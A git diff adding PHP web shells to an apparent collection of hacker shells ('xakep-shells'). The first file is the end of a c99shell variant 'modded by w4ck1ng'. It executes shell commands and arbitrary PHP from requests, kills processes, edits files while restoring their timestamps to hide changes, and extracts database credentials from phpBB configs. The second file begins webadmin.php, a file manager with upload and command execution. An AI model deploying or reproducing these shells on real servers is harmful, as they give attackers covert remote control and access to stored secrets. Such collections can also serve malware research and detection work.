+ $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
+ foreach($objects as $v)
+ {
+ $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
+ if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
+ if (is_dir($v))
+ {
+ if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
+ $v .= "*";
+ }
+ $cmdline .= " ".$v;
+ }
+ $tmp = realpath(".");
+ chdir($d);
+ $ret = myshellexec($cmdline);
+ chdir($tmp);
+ if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")! ";}
+ $ret = str_replace("\r\n","\n",$ret);
+ $ret = explode("\n",$ret);
+ if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ if (in_array($v,$ret)) {fs_rmobj($v);}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;}
+ $act = "ls";
+ }
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+}
+if ($act == "cmd")
+{
+if (trim($cmd) == "ps aux") {$act = "processes";}
+elseif (trim($cmd) == "tasklist") {$act = "processes";}
+else
+{
+ @chdir($chdir);
+ if (!empty($submit))
+ {
+ $execcmd = $_REQUEST['cmd'];
+ echo "Result Of Locally Executed Command: $execcmd ";
+ $olddir = realpath(".");
+ @chdir($d);
+ $ret = myshellexec($cmd);
+ $ret = convert_cyr_string($ret,"d","w");
+ if ($cmd_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ @chdir($olddir);
+ }
+ else {echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
+ echo "".htmlspecialchars($cmd)." Display in text-area ";
+}
+}
+if ($act == "ls")
+{
+ if (count($ls_arr) > 0) {$list = $ls_arr;}
+ else
+ {
+ $list = array();
+ if ($h = @opendir($d))
+ {
+ while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
+ closedir($h);
+ }
+ else {}
+ }
+ if (count($list) == 0) {echo "Can't open folder ".htmlspecialchars($d)." ";}
+ else
+ {
+ //Building array
+ $objects = array();
+ $vd = "f"; //Viewing mode
+ if ($vd == "f")
+ {
+ $objects["head"] = array();
+ $objects["folders"] = array();
+ $objects["links"] = array();
+ $objects["files"] = array();
+ foreach ($list as $v)
+ {
+ $o = basename($v);
+ $row = array();
+ if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif (is_dir($v))
+ {
+ if (is_link($v)) {$type = "LINK";}
+ else {$type = "DIR";}
+ $row[] = $v;
+ $row[] = $type;
+ }
+ elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
+ $row[] = filemtime($v);
+ if (!$win)
+ {
+ $ow = posix_getpwuid(fileowner($v));
+ $gr = posix_getgrgid(filegroup($v));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
+ }
+ $row[] = fileperms($v);
+ if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
+ elseif (is_link($v)) {$objects["links"][] = $row;}
+ elseif (is_dir($v)) {$objects["folders"][] = $row;}
+ elseif (is_file($v)) {$objects["files"][] = $row;}
+ $i++;
+ }
+ $row = array();
+ $row[] = "Name ";
+ $row[] = "Size ";
+ $row[] = "Modify ";
+ if (!$win)
+ {$row[] = "Owner/Group ";}
+ $row[] = "Perms ";
+ $row[] = "Action ";
+ $parsesort = parsesort($sort);
+ $sort = $parsesort[0].$parsesort[1];
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$parsesort[1] = "d";}
+ $y = "";
+ $y .= "[Sort-".($parsesort[1] == "a"?"Asc.":"Desc")."] ";
+ $row[$k] .= $y;
+ for($i=0;$i".$row[$i]."";}
+ }
+ $v = $parsesort[0];
+ usort($objects["folders"], "tabsort");
+ usort($objects["links"], "tabsort");
+ usort($objects["files"], "tabsort");
+ if ($parsesort[1] == "d")
+ {
+ $objects["folders"] = array_reverse($objects["folders"]);
+ $objects["files"] = array_reverse($objects["files"]);
+ }
+ $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
+ $tab = array();
+ $tab["cols"] = array($row);
+ $tab["head"] = array();
+ $tab["folders"] = array();
+ $tab["links"] = array();
+ $tab["files"] = array();
+ $i = 0;
+ foreach ($objects as $a)
+ {
+ $v = $a[0];
+ $o = basename($v);
+ $dir = dirname($v);
+ if ($disp_fullpath) {$disppath = $v;}
+ else {$disppath = $o;}
+ $disppath = str2mini($disppath,60);
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+ foreach ($regxp_highlight as $r)
+ {
+ if (ereg($r[0],$o))
+ {
+ if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
+ else
+ {
+ $r[1] = round($r[1]);
+ $isdir = is_dir($v);
+ if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
+ {
+ if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
+ $disppath = $r[2].$disppath.$r[3];
+ if ($r[4]) {break;}
+ }
+ }
+ }
+ }
+ $uo = urlencode($o);
+ $ud = urlencode($dir);
+ $uv = urlencode($v);
+ $row = array();
+ if ($o == ".")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif ($o == "..")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif (is_dir($v))
+ {
+ if (is_link($v))
+ {
+ $disppath .= " => ".readlink($v);
+ $type = "LINK";
+ $row[] = " [".$disppath."] ";
+ }
+ else
+ {
+ $type = "DIR";
+ $row[] = " [".$disppath."] ";
+ }
+ $row[] = $type;
+ }
+ elseif(is_file($v))
+ {
+ $ext = explode(".",$o);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $row[] = " ".$disppath." ";
+ $row[] = view_size($a[1]);
+ }
+ $row[] = date("d.m.Y H:i:s",$a[2]);
+ if (!$win) {$row[] = $a[3];}
+ $row[] = "".view_perms_color($v)." ";
+ if ($o == ".") {$checkbox = " "; $i--;}
+ else {$checkbox = " ";}
+ if (is_dir($v)) {$row[] = "[Info] ".$checkbox;}
+ else {$row[] = "[Info] [Change] [Download] ".$checkbox;}
+ if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
+ elseif (is_link($v)) {$tab["links"][] = $row;}
+ elseif (is_dir($v)) {$tab["folders"][] = $row;}
+ elseif (is_file($v)) {$tab["files"][] = $row;}
+ $i++;
+ }
+ }
+ // Compiling table
+ $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
+ echo "Listing Folder: ".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders ";
+ foreach($table as $row)
+ {
+ echo "\r\n";
+ foreach($row as $v) {echo "".$v." \r\n";}
+ echo " \r\n";
+ }
+ echo "
+
+
+ ";
+ if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
+ {
+ echo " ";
+ }
+ echo "With selected: ";
+ echo "Delete ";
+ echo "Change-mode ";
+ if ($usefsbuff)
+ {
+ echo "Cut ";
+ echo "Copy ";
+ echo "Unselect ";
+ }
+ echo "
";
+ echo "";
+ }
+}
+
+if ($act == "processes")
+{
+ echo "Processes: ";
+ if (!$win) {$handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":"");}
+ else {$handler = "tasklist";}
+ $ret = myshellexec($handler);
+ if (!$ret) {echo "Can't execute \"".$handler."\"!";}
+ else
+ {
+ if (empty($processes_sort)) {$processes_sort = $sort_default;}
+ $parsesort = parsesort($processes_sort);
+ if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$y = "[sort_desc] ";}
+ else {$y = "[sort_asc] ";}
+ $ret = htmlspecialchars($ret);
+ if (!$win)
+ {
+ if ($pid)
+ {
+ if (is_null($sig)) {$sig = 9;}
+ echo "Sending signal ".$sig." to #".$pid."... ";
+ if (posix_kill($pid,$sig)) {echo "OK.";}
+ else {echo "ERROR.";}
+ }
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ $stack = explode("\n",$ret);
+ $head = explode(" ",$stack[0]);
+ unset($stack[0]);
+ for($i=0;$i".$head[$i]." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+{
+ echo "";
+ $line = explode(" ",$line);
+ $line[10] = join(" ",array_slice($line,10));
+ $line = array_slice($line,0,11);
+ if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
+ $line[] = "KILL ";
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ else
+ {
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+ $ret = convert_cyr_string($ret,"d","w");
+ $stack = explode("\n",$ret);
+ unset($stack[0],$stack[2]);
+ $stack = array_values($stack);
+ $head = explode("",$stack[0]);
+ $head[1] = explode(" ",$head[1]);
+ $head[1] = $head[1][0];
+ $stack = array_slice($stack,1);
+ unset($head[2]);
+ $head = array_values($head);
+ if ($parsesort[1] != "a") {$y = "[sort_desc] ";}
+ else {$y = "[sort_asc] ";}
+ if ($k > count($head)) {$k = count($head)-1;}
+ for($i=0;$i".trim($head[$i])." ";}
+ }
+ $prcs = array();
+ foreach ($stack as $line)
+ {
+ if (!empty($line))
+ {
+ echo "";
+ $line = explode("",$line);
+ $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
+ $line[2] = intval(str_replace(" ","",$line[2]))*1024;
+ $prcs[] = $line;
+ echo " ";
+ }
+ }
+ }
+ $head[$k] = "".$head[$k]." ".$y;
+ $v = $processes_sort[0];
+ usort($prcs,"tabsort");
+ if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
+ $tab = array();
+ $tab[] = $head;
+ $tab = array_merge($tab,$prcs);
+ echo "";
+ foreach($tab as $i=>$k)
+ {
+ echo "";
+ foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "".$v." ";}
+ echo " ";
+ }
+ echo "
";
+ }
+}
+if ($act == "eval")
+{
+ if (!empty($eval))
+ {
+ echo "Result of execution this PHP-code : ";
+ $tmp = ob_get_contents();
+ $olddir = realpath(".");
+ @chdir($d);
+ if ($tmp)
+ {
+ ob_clean();
+ eval($eval);
+ $ret = ob_get_contents();
+ $ret = convert_cyr_string($ret,"d","w");
+ ob_clean();
+ echo $tmp;
+ if ($eval_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ }
+ else
+ {
+ if ($eval_txt)
+ {
+ echo "";
+ eval($eval);
+ echo " ";
+ }
+ else {echo $ret;}
+ }
+ @chdir($olddir);
+ }
+ else {echo "Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
+ echo "".htmlspecialchars($eval)." Display in text-area ";
+}
+if ($act == "f")
+{
+ if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
+ {
+ if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";}
+ else {echo "File does not exists (".htmlspecialchars($d.$f).")! Create ";}
+ }
+ else
+ {
+ $r = @file_get_contents($d.$f);
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
+ if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
+ if (empty($ft)) {$ft = $rft;}
+ $arr = array(
+ array("[hex]","info"),
+ array("[html]","html"),
+ array("[txt]","txt"),
+ array("[Code]","code"),
+ array("[Session]","phpsess"),
+ array("[exe]","exe"),
+ array("[SDB]","sdb"),
+ array("[gif]","img"),
+ array("[ini]","ini"),
+ array("[download]","download"),
+ array("[rtf]","notepad"),
+ array("[change]","edit")
+ );
+ echo "Viewing file: [$ext] ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)." Select action/file-type: ";
+ foreach($arr as $t)
+ {
+ if ($t[1] == $rft) {echo " ".$t[0]." ";}
+ elseif ($t[1] == $ft) {echo " ".$t[0]." ";}
+ else {echo " ".$t[0]." ";}
+ echo " (+ ) |";
+ }
+ echo " ";
+ if ($ft == "info")
+ {
+ echo "Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d.$f));
+ $gr = posix_getgrgid(filegroup($d.$f));
+ echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
+ }
+ echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
+ $fi = fopen($d.$f,"rb");
+ if ($fi)
+ {
+ if ($fullhexdump) {echo "FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
+ else {echo "HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
+ $n = 0;
+ $a0 = "00000000 ";
+ $a1 = "";
+ $a2 = "";
+ for ($i=0; $i";}
+ $a1 .= " ";
+ $a2 .= " ";
+ }
+ }
+ //if ($a1 != "") {$a0 .= sprintf("%08X",$i)." ";}
+ echo " ";
+ }
+ $encoded = "";
+ if ($base64 == 1)
+ {
+ echo "Base64 Encode ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ }
+ elseif($base64 == 2)
+ {
+ echo "Base64 Encode + Chunk ";
+ $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
+ }
+ elseif($base64 == 3)
+ {
+ echo "Base64 Encode + Chunk + Quotes ";
+ $encoded = base64_encode(file_get_contents($d.$f));
+ $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
+ }
+ elseif($base64 == 4)
+ {
+ $text = file_get_contents($d.$f);
+ $encoded = base64_decode($text);
+ echo "Base64 Decode";
+ if (base64_encode($encoded) != $text) {echo " (failed)";}
+ echo " ";
+ }
+ if (!empty($encoded))
+ {
+ echo "".htmlspecialchars($encoded)." ";
+ }
+ echo "HEXDUMP: [Full ] [Preview ]Base64:
+[Encode ]
+[+chunk ]
+[+chunk+quotes ]
+[Decode ]
+";
+ }
+ elseif ($ft == "html")
+ {
+ if ($white) {@ob_clean();}
+ echo $r;
+ if ($white) {c99shexit();}
+ }
+ elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
+ elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
+ elseif ($ft == "phpsess")
+ {
+ echo "";
+ $v = explode("|",$r);
+ echo $v[0]." ";
+ var_dump(unserialize($v[1]));
+ echo " ";
+ }
+ elseif ($ft == "exe")
+ {
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($exeftypes as $k=>$v)
+ {
+ if (in_array($ext,$v)) {$rft = $k; break;}
+ }
+ $cmd = str_replace("%f%",$f,$rft);
+ echo "Execute file: Display in text-area ";
+ }
+ elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
+ elseif ($ft == "code")
+ {
+ if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
+ {
+ $arr = explode("\n",$r);
+ if (count($arr == 18))
+ {
+ include($d.$f);
+ echo "phpBB configuration is detected in this file! ";
+ if ($dbms == "mysql4") {$dbms = "mysql";}
+ if ($dbms == "mysql") {echo "Connect to DB ";}
+ else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
+ echo "Parameters for manual connect: ";
+ $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
+ foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
+ echo " ";
+ }
+ }
+ echo "";
+ if (!empty($white)) {@ob_clean();}
+ highlight_file($d.$f);
+ if (!empty($white)) {c99shexit();}
+ echo "
";
+ }
+ elseif ($ft == "download")
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".filesize($d.$f));
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ echo $r;
+ exit;
+ }
+ elseif ($ft == "notepad")
+ {
+ @ob_clean();
+ header("Content-type: text/plain");
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+ echo($r);
+ exit;
+ }
+ elseif ($ft == "img")
+ {
+ $inf = getimagesize($d.$f);
+ if (!$white)
+ {
+ if (empty($imgsize)) {$imgsize = 20;}
+ $width = $inf[0]/100*$imgsize;
+ $height = $inf[1]/100*$imgsize;
+ echo "Size: ";
+ $sizes = array("100","50","20");
+ foreach ($sizes as $v)
+ {
+ echo "";
+ if ($imgsize != $v ) {echo $v;}
+ else {echo "".$v." ";}
+ echo " ";
+ }
+ echo " ";
+ }
+ else
+ {
+ @ob_clean();
+ $ext = explode($f,".");
+ $ext = $ext[count($ext)-1];
+ header("Content-type: ".$inf["mime"]);
+ readfile($d.$f);
+ exit;
+ }
+ }
+ elseif ($ft == "edit")
+ {
+ if (!empty($submit))
+ {
+ if ($filestealth) {$stat = stat($d.$f);}
+ $fp = fopen($d.$f,"w");
+ if (!$fp) {echo "Can't write to file! ";}
+ else
+ {
+ echo "Saved! ";
+ fwrite($fp,$edit_text);
+ fclose($fp);
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+ $r = $edit_text;
+ }
+ }
+ $rows = count(explode("\r\n",$r));
+ if ($rows < 10) {$rows = 10;}
+ if ($rows > 30) {$rows = 30;}
+ echo " ".htmlspecialchars($r)." ";
+ }
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
+ else {echo "Unknown extension (".$ext."), please, select type manually. ";}
+ }
+}
+}
+else
+{
+ @ob_clean();
+ //For simple size- and speed-optimization.
+ $imgequals = array(
+ "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
+ "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
+ "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
+ "ext_html"=>array("ext_html","ext_htm"),
+ "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
+ "ext_lnk"=>array("ext_lnk","ext_url"),
+ "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
+ "ext_doc"=>array("ext_doc","ext_dot"),
+ "ext_js"=>array("ext_js","ext_vbs"),
+ "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
+ "ext_wri"=>array("ext_wri","ext_rtf"),
+ "ext_swf"=>array("ext_swf","ext_fla"),
+ "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
+ "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
+ );
+ if (!$getall)
+ {
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
+ if (empty($images[$img])) {$img = "small_unk";}
+ if (in_array($img,$ext_tar)) {$img = "ext_tar";}
+ echo base64_decode($images[$img]);
+ }
+ else
+ {
+ foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."] ");}}}}
+ natsort($images);
+ $k = array_keys($images);
+ echo "";
+ foreach ($k as $u) {echo $u.": ";}
+ echo " ";
+ }
+ exit;
+}
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+ --[ c99shell modded by w4ck1ng . | echo("$shver"); ?> | Page generation time: ]--
+
diff --git a/xakep-shells/PHP/webadmin.php.php.txt b/xakep-shells/PHP/webadmin.php.php.txt
new file mode 100644
index 0000000..9e0928e
--- /dev/null
+++ b/xakep-shells/PHP/webadmin.php.php.txt
@@ -0,0 +1,2491 @@
+
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * -------------------------------------------------------------------------
+ * While using this script, do NOT navigate with your browser's back and
+ * forward buttons! Always open files in a new browser tab!
+ * -------------------------------------------------------------------------
+ *
+ * This is Version 0.9, revision 9
+ * =========================================================================
+ *
+ * Changes of revision 9
+ *
+ * added workaround for directory listing, if lstat() is disabled
+ * fixed permisson of uploaded files (thanks to Stephan Duffner)
+ *
+ * Changes of revision 8
+ *
+ * added Turkish translation
+ *
+ * added Czech translation
+ *
+ * improved charset handling
+ *
+ * Changes of revision 7
+ *
+ * added Spanish translation
+ *
+ * added Danish translation
+ *
+ * improved rename dialog
+ *
+ * Changes of revision 6
+ *
+ * added Dutch translation
+ *
+ * Changes of revision 5
+ *
+ * added language auto select
+ * fixed symlinks in directory listing
+ * removed word-wrap in edit textarea
+ *
+ * Changes of revision 4
+ *
+ * added French translation
+ *
+ * added Swedish translation
+ *
+ * Changes of revision 3
+ *
+ * improved Italian translation
+ *
+ * Changes of revision 2
+ *
+ * got images work in some old browsers
+ * fixed creation of directories
+ * fixed files deletion
+ * improved path handling
+ * added missing word 'not_created'
+ *
+ * improved human readability of file sizes
+ *
+ * added Italian translation
+ *
+ * Changes of revision 1
+ *
+ * webadmin.php completely rewritten:
+ * - clean XHTML/CSS output
+ * - several files selectable
+ * - support for windows servers
+ * - no more treeview, because
+ * - webadmin.php is a >simple< file manager
+ * - performance problems (too much additional code)
+ * - I don't like: frames, java-script, to reload after every treeview-click
+ * - execution of shell scripts
+ * - introduced revision numbers
+ *
+/* ------------------------------------------------------------------------- */
+
+/* Your language:
+ * 'en' - English
+ * 'de' - German
+ * 'fr' - French
+ * 'it' - Italian
+ * 'nl' - Dutch
+ * 'se' - Swedish
+ * 'sp' - Spanish
+ * 'dk' - Danish
+ * 'tr' - Turkish
+ * 'cs' - Czech
+ * 'auto' - autoselect
+ */
+$lang = 'auto';
+
+/* Charset of output:
+ * possible values are described in the charset table at
+ * http://www.php.net/manual/en/function.htmlentities.php
+ * 'auto' - use the same charset as the words of my language are encoded
+ */
+$site_charset = 'auto';
+
+/* Homedir:
+ * For example: './' - the script's directory
+ */
+$homedir = './';
+
+/* Size of the edit textarea
+ */
+$editcols = 80;
+$editrows = 25;
+
+/* -------------------------------------------
+ * Optional configuration (remove # to enable)
+ */
+
+/* Permission of created directories:
+ * For example: 0705 would be 'drwx---r-x'.
+ */
+# $dirpermission = 0705;
+
+/* Permission of created files:
+ * For example: 0604 would be '-rw----r--'.
+ */
+# $filepermission = 0604;
+
+/* Filenames related to the apache web server:
+ */
+$htaccess = '.htaccess';
+$htpasswd = '.htpasswd';
+
+/* ------------------------------------------------------------------------- */
+
+if (get_magic_quotes_gpc()) {
+ array_walk($_GET, 'strip');
+ array_walk($_POST, 'strip');
+ array_walk($_REQUEST, 'strip');
+}
+
+if (array_key_exists('image', $_GET)) {
+ header('Content-Type: image/gif');
+ die(getimage($_GET['image']));
+}
+
+if (!function_exists('lstat')) {
+ function lstat ($filename) {
+ return stat($filename);
+ }
+}
+
+$delim = DIRECTORY_SEPARATOR;
+
+if (function_exists('php_uname')) {
+ $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
+} else {
+ $win = ($delim == '\\') ? true : false;
+}
+
+if (!empty($_SERVER['PATH_TRANSLATED'])) {
+ $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
+} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
+ $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
+} elseif (function_exists('getcwd')) {
+ $scriptdir = getcwd();
+} else {
+ $scriptdir = '.';
+}
+$homedir = relative2absolute($homedir, $scriptdir);
+
+$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
+
+if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
+ $dir = relative2absolute($dir, $_POST['olddir']);
+}
+
+$directory = simplify_path(addslash($dir));
+
+$files = array();
+$action = '';
+if (!empty($_POST['submit_all'])) {
+ $action = $_POST['action_all'];
+ for ($i = 0; $i < $_POST['num']; $i++) {
+ if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
+ $files[] = $_POST["file$i"];
+ }
+ }
+} elseif (!empty($_REQUEST['action'])) {
+ $action = $_REQUEST['action'];
+ $files[] = relative2absolute($_REQUEST['file'], $directory);
+} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
+ $files[] = $_FILES['upload'];
+ $action = 'upload';
+} elseif (array_key_exists('num', $_POST)) {
+ for ($i = 0; $i < $_POST['num']; $i++) {
+ if (array_key_exists("submit$i", $_POST)) break;
+ }
+ if ($i < $_POST['num']) {
+ $action = $_POST["action$i"];
+ $files[] = $_POST["file$i"];
+ }
+}
+if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
+ $files[] = relative2absolute($_POST['create_name'], $directory);
+ switch ($_POST['create_type']) {
+ case 'directory':
+ $action = 'create_directory';
+ break;
+ case 'file':
+ $action = 'create_file';
+ }
+}
+if (sizeof($files) == 0) $action = ''; else $file = reset($files);
+
+if ($lang == 'auto') {
+ if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
+ $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
+ } else {
+ $lang = 'en';
+ }
+}
+
+$words = getwords($lang);
+
+if ($site_charset == 'auto') {
+ $site_charset = $word_charset;
+}
+
+$cols = ($win) ? 4 : 7;
+
+if (!isset($dirpermission)) {
+ $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
+}
+if (!isset($filepermission)) {
+ $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
+}
+
+if (!empty($_SERVER['SCRIPT_NAME'])) {
+ $self = html(basename($_SERVER['SCRIPT_NAME']));
+} elseif (!empty($_SERVER['PHP_SELF'])) {
+ $self = html(basename($_SERVER['PHP_SELF']));
+} else {
+ $self = '';
+}
+
+if (!empty($_SERVER['SERVER_SOFTWARE'])) {
+ if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
+ $apache = true;
+ } else {
+ $apache = false;
+ }
+} else {
+ $apache = true;
+}
+
+switch ($action) {
+
+case 'view':
+
